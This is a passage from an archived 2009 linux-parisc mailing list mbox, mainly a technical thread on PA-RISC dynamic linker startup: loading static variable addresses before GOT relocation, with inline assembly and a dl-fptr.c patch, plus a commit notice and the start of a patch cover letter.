	Wed, 11 Nov 2009 01:48:23 -0500
Original-Received: from 74-93-104-97-Washington.hfc.comcastbusiness.net ([74.93.104.97]:40917
	"EHLO sunset.davemloft.net" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751823AbZKKGsW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Nov 2009 01:48:22 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by sunset.davemloft.net (Postfix) with ESMTP id 9138B35C1FD;
	Tue, 10 Nov 2009 22:48:49 -0800 (PST)
In-Reply-To: <20091110175647.480041042@vyatta.com>
X-Mailer: Mew version 6.2.51 on Emacs 22.1 / Mule 5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2327 gmane.linux.network:143276
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2327>

From: Stephen Hemminger <shemminger@vyatta.com>
Date: Tue, 10 Nov 2009 09:54:51 -0800

> Another place where RCU can be used instead of read_lock(&dev_base_lock)
> This is by inspection, don't have platform or cross-build environment
> to validate.
> 
> Signed-off-by: Stephen Hemminger <shemminger@vyatta.com>

Applied.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Problem with early startup in dynamic linker.
Date: Wed, 11 Nov 2009 09:34:17 -0500
Lines: 64
Approved: news@gmane.org
Message-ID: <119aab440911110634oe4a8eb2m8ff519055e7fbdf5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1257950068 16112 80.91.229.12 (11 Nov 2009 14:34:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Nov 2009 14:34:28 +0000 (UTC)
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 11 15:34:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N8EH7-0000Rv-Bb
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 Nov 2009 15:34:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755913AbZKKOeO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Nov 2009 09:34:14 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755837AbZKKOeO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Nov 2009 09:34:14 -0500
Original-Received: from mail-fx0-f221.google.com ([209.85.220.221]:44850 "EHLO
	mail-fx0-f221.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755913AbZKKOeN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Nov 2009 09:34:13 -0500
Original-Received: by fxm21 with SMTP id 21so1074807fxm.21
        for <linux-parisc@vger.kernel.org>; Wed, 11 Nov 2009 06:34:18 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=ZlGPN6ByYeoyzduCtHnooEf9JT36zHH8Pd7jZKi3ry0=;
        b=Z1U9gKgitdvxpY+R/SpJqdRa+lImISYdN0AYm1LQczRQFGfUhpNKrwFj/5NCBnORPe
         1Z9fHZMRjU/fklKv9sBdtffe/0GDUYinfyxzqxWvFv0D+UvN9nP2ka3KYqoPuh+pfPlv
         f6tiVgOg+YTKsRMfLFZoU5zZ2UnpHaAigafYk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=M3XTQdvF0T21mFB30MHLZ6Z59uFydejAUkXobH8bX5/GET85gvtaLzjFQ3mAKJZjQ0
         XwIy/IpAEFdX9BNjCqXiivpPdGN0lCJkmAe0OAK3wWBEjdKUksxzCfvhaMXCqIXewIrJ
         CkziDQhMgcMNHLx3Aq2UJHQAN3mMU2U2TPTio=
Original-Received: by 10.204.32.1 with SMTP id a1mr1522744bkd.191.1257950057936; Wed, 
	11 Nov 2009 06:34:17 -0800 (PST)
X-Google-Sender-Auth: a3355e10a0bfc8a9
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2328
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2328>

John,

I need your help crafting some assembly for the early startup of the
dynamic linker.

During early startup we need to do some work *before* the GOT is relocated.

This means that static local variable accesses are handled via a
special wrapper e.g.
~~~
  struct local *l;

  ELF_MACHINE_LOAD_ADDRESS (l, local);

 retry:
  root = l->root;
~~~
Where local is a static local variable defined at the top of the C file.

Previously I had implemented ELF_MACHINE_LOAD_ADDRESS like this:
~~~
#define ELF_MACHINE_LOAD_ADDRESS(var, symbol)           \
  asm ("        addil LT'" #symbol ", %%r19\n"          \
       "        ldw RT'" #symbol "(%%sr0,%%r1), %0\n"   \
      : "=&r" (var) : : "r1" );
~~~

As you will notice the LT'/RT' pair will generate an access through
the GOT for this variable e.g.
~~~
  ELF_MACHINE_LOAD_ADDRESS (l, local);
   18b30:       2a 60 10 00     addil L%800,r19,r1
   18b34:       48 26 00 00     ldw 0(r1),r6
~~~

This appears to have worked because in previous builds the GOT
relocations required for this access were processed *before* the
access.

How do I load the address of a static local variable without using the GOT?

I use the following for computing the location of _DYNAMIC:
~~~
  Elf32_Addr dynamic;

  asm (
"       b,l     1f,%0\n"
"       depi    0,31,2,%0\n"
"1:     addil   L'_DYNAMIC - ($PIC_pcrel$0 - 8),%0\n"
"       ldo     R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
   : "=r" (dynamic) : : "r1");
~~~

Can I use this sequence to find the address of a static local variable?

Is there a more optimal sequence?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Problem with early startup in dynamic linker.
Date: Wed, 11 Nov 2009 11:41:12 -0500 (EST)
Lines: 79
Approved: news@gmane.org
Message-ID: <20091111164114.01AE3515C@hiauly1.hia.nrc.ca>
References: <119aab440911110634oe4a8eb2m8ff519055e7fbdf5@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1257957707 12227 80.91.229.12 (11 Nov 2009 16:41:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Nov 2009 16:41:47 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Nov 11 17:41:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N8GGB-0004Dx-Cv
	for glpp-linux-parisc@lo.gmane.org; Wed, 11 Nov 2009 17:41:31 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757153AbZKKQlX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Nov 2009 11:41:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757312AbZKKQlX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 11 Nov 2009 11:41:23 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1188 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757153AbZKKQlW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Nov 2009 11:41:22 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 01AE3515C; Wed, 11 Nov 2009 11:41:13 -0500 (EST)
In-Reply-To: <119aab440911110634oe4a8eb2m8ff519055e7fbdf5@mail.gmail.com> from "Carlos O'Donell" at Nov 11, 2009 09:34:17 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2329
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2329>

> John,
> 
> I need your help crafting some assembly for the early startup of the
> dynamic linker.
> 
> During early startup we need to do some work *before* the GOT is relocated.
> 
> This means that static local variable accesses are handled via a
> special wrapper e.g.
> ~~~
>   struct local *l;
> 
>   ELF_MACHINE_LOAD_ADDRESS (l, local);
> 
>  retry:
>   root = l->root;
> ~~~
> Where local is a static local variable defined at the top of the C file.
> 
> Previously I had implemented ELF_MACHINE_LOAD_ADDRESS like this:
> ~~~
> #define ELF_MACHINE_LOAD_ADDRESS(var, symbol)           \
>   asm ("        addil LT'" #symbol ", %%r19\n"          \
>        "        ldw RT'" #symbol "(%%sr0,%%r1), %0\n"   \
>       : "=&r" (var) : : "r1" );
> ~~~
> 
> As you will notice the LT'/RT' pair will generate an access through
> the GOT for this variable e.g.
> ~~~
>   ELF_MACHINE_LOAD_ADDRESS (l, local);
>    18b30:       2a 60 10 00     addil L%800,r19,r1
>    18b34:       48 26 00 00     ldw 0(r1),r6
> ~~~
> 
> This appears to have worked because in previous builds the GOT
> relocations required for this access were processed *before* the
> access.
> 
> How do I load the address of a static local variable without using the GOT?
> 
> I use the following for computing the location of _DYNAMIC:
> ~~~
>   Elf32_Addr dynamic;
> 
>   asm (
> "       b,l     1f,%0\n"
> "       depi    0,31,2,%0\n"
> "1:     addil   L'_DYNAMIC - ($PIC_pcrel$0 - 8),%0\n"
> "       ldo     R'_DYNAMIC - ($PIC_pcrel$0 - 12)(%%r1),%0\n"
>    : "=r" (dynamic) : : "r1");
> ~~~
> 
> Can I use this sequence to find the address of a static local variable?

This will work if the local variable is in the same segment as
the code.  It may work generally because I believe there is a fixed
relationship between the code and data segments on linux (this isn't
true on hpux).  The issue is whether the data is readonly or needs
to be writeable.

> Is there a more optimal sequence?

In PA 2.0, the b,l/depi instructions can be replaced by the mfia
instruction.  This saves one instruction.  If you just need to load
a byte, etc, the ldo can be replaced by a ldb, ldh, ldw or ldd
instruction.  If the data is close, the addil isn't needed.  Otherwise,
there isn't much else that can be done to make the sequence more
optimal.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Problem with early startup in dynamic linker.
Date: Thu, 12 Nov 2009 12:40:08 -0500
Lines: 98
Approved: news@gmane.org
Message-ID: <119aab440911120940h49107d53oad1e0dc8f91f797c@mail.gmail.com>
References: <119aab440911110634oe4a8eb2m8ff519055e7fbdf5@mail.gmail.com>
	 <20091111164114.01AE3515C@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1258047634 22567 80.91.229.12 (12 Nov 2009 17:40:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Nov 2009 17:40:34 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, libc-ports@sourceware.org,
	hongjiu.lu@intel.com, linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 12 18:40:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N8dej-0008R3-Lq
	for glpp-linux-parisc@lo.gmane.org; Thu, 12 Nov 2009 18:40:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753606AbZKLRkK convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Nov 2009 12:40:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753599AbZKLRkI
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 12 Nov 2009 12:40:08 -0500
Original-Received: from mail-fx0-f221.google.com ([209.85.220.221]:34527 "EHLO
	mail-fx0-f221.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753512AbZKLRkF convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Nov 2009 12:40:05 -0500
Original-Received: by fxm21 with SMTP id 21so2506061fxm.21
        for <linux-parisc@vger.kernel.org>; Thu, 12 Nov 2009 09:40:10 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=P5RZSRKgW/a3ts6ao7a9XmtIYOS/NZF29y6y2hlpMFY=;
        b=M1lqm6JUaD+KmLs90VSq/VvoOQ6e864KSJBVqPrb5NF39DjYsHidlnqoDasjPf3Ge+
         YddDEstj+0I4RSoHJIDDS9oPS4pMr5PshqdszjeADvYIcCD81ud2E2erCHyCIKeTNH/d
         QJows3nKD45qhxj08WwqZWvQnftjdQQJpEYoA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=i8SE8orl6Hayk/dFLsv27Fw51627hYILR7Xd1odot2mVAK1KEtj0YGzVwwjWKN8ooQ
         pXonG1OBGx4/LFX/F/9qUOuZVZg60dQWKgR6/1D4b1lMXFRiw5r6NbuqIGv/GCTSGC+w
         nO63ShPTJcBpqNND7gPE08KDYabZwFydH9H9s=
Original-Received: by 10.204.151.209 with SMTP id d17mr3500226bkw.120.1258047610125; 
	Thu, 12 Nov 2009 09:40:10 -0800 (PST)
In-Reply-To: <20091111164114.01AE3515C@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 991009eb59328ec4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2330
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2330>

On Wed, Nov 11, 2009 at 11:41 AM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> Can I use this sequence to find the address of a static local variab=
le?
>
> This will work if the local variable is in the same segment as
> the code. =A0It may work generally because I believe there is a fixed
> relationship between the code and data segments on linux (this isn't
> true on hpux). =A0The issue is whether the data is readonly or needs
> to be writeable.

CC'ing libc-ports in case anyone knows what might be wrong.

CC'ing Lu, who might have a suggestion (and is familiar with the code).=
 Hi Lu!

There is code in dl-fptr.c which is called during relocation
processing and before rtld is fully relocated.

The code in dl-fptr.c looks like this:
~~~
static struct local
  {
    struct fdesc_table *root;
    struct fdesc *free_list;
    unsigned int npages;                /* # of pages to allocate */
    /* the next to members MUST be consecutive! */
    struct fdesc_table boot_table;
    struct fdesc boot_fdescs[1024];
  }
local =3D
  {
    .root =3D &local.boot_table,
    .npages =3D 2,
    .boot_table =3D
      {
        .len =3D sizeof (local.boot_fdescs) / sizeof (local.boot_fdescs=
[0]),
        .first_unused =3D 0
      }
  };
~~~

The ".root =3D &local.boot_table," assignment causes this relocation to
be emitted:
~~~
000219d8  00000101 R_PARISC_DIR32    000024b0   .text + 1f534
~~~

This is because the address of local + 12 is not known until .text has
been relocated.

However, this appears to mean that ALL DIR32 relocs have to be
processed before the above code can be called "safely relocated" and
before any PLABEL32 (official procedure descriptor relocations) relocs
can be processed since they use this code.

A trunk build shows a crash in the dynamic loader trying to access
l->root. The value of local.root is the unrelocated address (as
computed by the linker and placed at link time into .data).

Is the solution to sort the dynamic relocations and process all DIR32
relocs first?

The alternative is this:
~~~
 local =3D
   {
-    .root =3D &local.boot_table,
+    /* Address of .boot_table is not known until runtime.  */
+    .root =3D 0,
     .npages =3D 2,
     .boot_table =3D
       {
@@ -103,6 +105,10 @@ make_fdesc (ElfW(Addr) ip, ElfW(Addr) gp)
   struct local *l;

   ELF_MACHINE_LOAD_ADDRESS (l, local);
+  /* Initialize root once.  */
+  if (l->root =3D=3D 0)
+    l->root =3D &l->boot_table;
~~~
This removes the relocation against local.

This fixes the dynamic linker segmentation fault in early startup
while trying to relocate a PLABEL32 reloc before all of the DIR32
relocs.

Are the changes to dl-fptr.c the right solution?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Problem with early startup in dynamic linker.
Date: Thu, 12 Nov 2009 15:55:57 -0500
Organization: nrc.ca
Lines: 19
Approved: news@gmane.org
Message-ID: <20091112205557.GA29804@hiauly1.hia.nrc.ca>
References: <119aab440911110634oe4a8eb2m8ff519055e7fbdf5@mail.gmail.com> <20091111164114.01AE3515C@hiauly1.hia.nrc.ca> <119aab440911120940h49107d53oad1e0dc8f91f797c@mail.gmail.com>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1258059385 30333 80.91.229.12 (12 Nov 2009 20:56:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Nov 2009 20:56:25 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, libc-ports@sourceware.org,
	hongjiu.lu@intel.com, linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 12 21:56:17 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N8gi9-0007Aw-TC
	for glpp-linux-parisc@lo.gmane.org; Thu, 12 Nov 2009 21:56:10 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754178AbZKLU4C (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Nov 2009 15:56:02 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754510AbZKLU4C
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 12 Nov 2009 15:56:02 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1264 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754178AbZKLU4B (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Nov 2009 15:56:01 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id E59684F19; Thu, 12 Nov 2009 15:55:58 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <119aab440911120940h49107d53oad1e0dc8f91f797c@mail.gmail.com>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2331
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2331>

On Thu, 12 Nov 2009, Carlos O'Donell wrote:

> local =
>   {
>     .root = &local.boot_table,

Another approach might be to change this to an offset from a symbol
that you can load with the pc-relative trick.  This is what we do
for dwarf2 code and data symbols.  This gets rid of the relocation.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:10 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/next
Date: Sat, 14 Nov 2009 05:12:31 +0000
Lines: 41
Approved: news@gmane.org
Message-ID: <200911140512.nAE5CVhw020161@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1258175561 21372 80.91.229.12 (14 Nov 2009 05:12:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 14 Nov 2009 05:12:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 14 06:12:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1N9Aw5-0006PG-Ug
	for glpp-linux-parisc@lo.gmane.org; Sat, 14 Nov 2009 06:12:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751509AbZKNFM0 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 14 Nov 2009 00:12:26 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751527AbZKNFM0
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 14 Nov 2009 00:12:26 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:38654 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751509AbZKNFM0 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 14 Nov 2009 00:12:26 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.3/8.14.3) with ESMTP id nAE5CVC3020163
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Sat, 14 Nov 2009 05:12:31 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.3/8.14.2/Submit) id nAE5CVhw020161
	for linux-parisc@vger.kernel.org; Sat, 14 Nov 2009 05:12:31 GMT
User-Agent: Heirloom mailx 12.4 7/29/08
X-Spam-Status: No, score=-1.8 required=5.0 tests=AWL,BAYES_00,
	DATE_IN_FUTURE_96_XX,UNPARSEABLE_RELAY autolearn=no version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2332
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2332>

New commits:
commit 933c58608e5987385409975d33ba8c65815f63a0
Author: Thomas Gleixner <tglx@linutronix.de>
Date:   Fri Nov 6 22:41:51 2009 +0000

    parisc: Replace old style lock init in smp.c
    
    SPIN_LOCK_UNLOCKED is deprecated. Init the per cpu locks at runtime
    instead.
    
    (Also kills the unused smp_lock --kyle)
    
    Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 5b1d9233f6e8c0a1d164bc8f1915dea070a34016
Author: Helge Deller <deller@gmx.de>
Date:   Fri Nov 6 23:07:42 2009 +0000

    parisc: use sort() instead of home-made implementation (v2)
    
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Randolph Chung <tausq@parisc-linux.org>
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

commit 95c26d0060afd79557cc445944e292f068bb3ed8
Author: Kyle McMartin <kyle@phobos.i.jkkm.org>
Date:   Sat Nov 14 00:09:02 2009 -0500

    Revert "parisc: use sort() instead of home-made implementation"
    
    This reverts commit b8d46862d910c3be7c28c627204da968c174aa9a which contained
    a bug as documented by Helge in his follow-up mail.
    
    Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 0/6] fix xfs by making I/O to vmap/vmalloc areas work
Date: Tue, 17 Nov 2009 11:03:46 -0600
Lines: 34
Approved: news@gmane.org
Message-ID: <1258477432-2513-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1258477448 10891 80.91.229.12 (17 Nov 2009 17:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Nov 2009 17:04:08 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 17 18:04:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NARTE-00060o-At
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Nov 2009 18:04:00 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752130AbZKQRDw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Nov 2009 12:03:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752962AbZKQRDw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Nov 2009 12:03:52 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:45749 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751011AbZKQRDw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Nov 2009 12:03:52 -0500
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 5C21E5FC9F;
	Tue, 17 Nov 2009 18:03:57 +0100 (CET)
X-Mailer: git-send-email 1.6.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2333 gmane.linux.kernel.cross-arch:4642
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2333>

Here's version three of the patch.  This one makes sure the invalidate
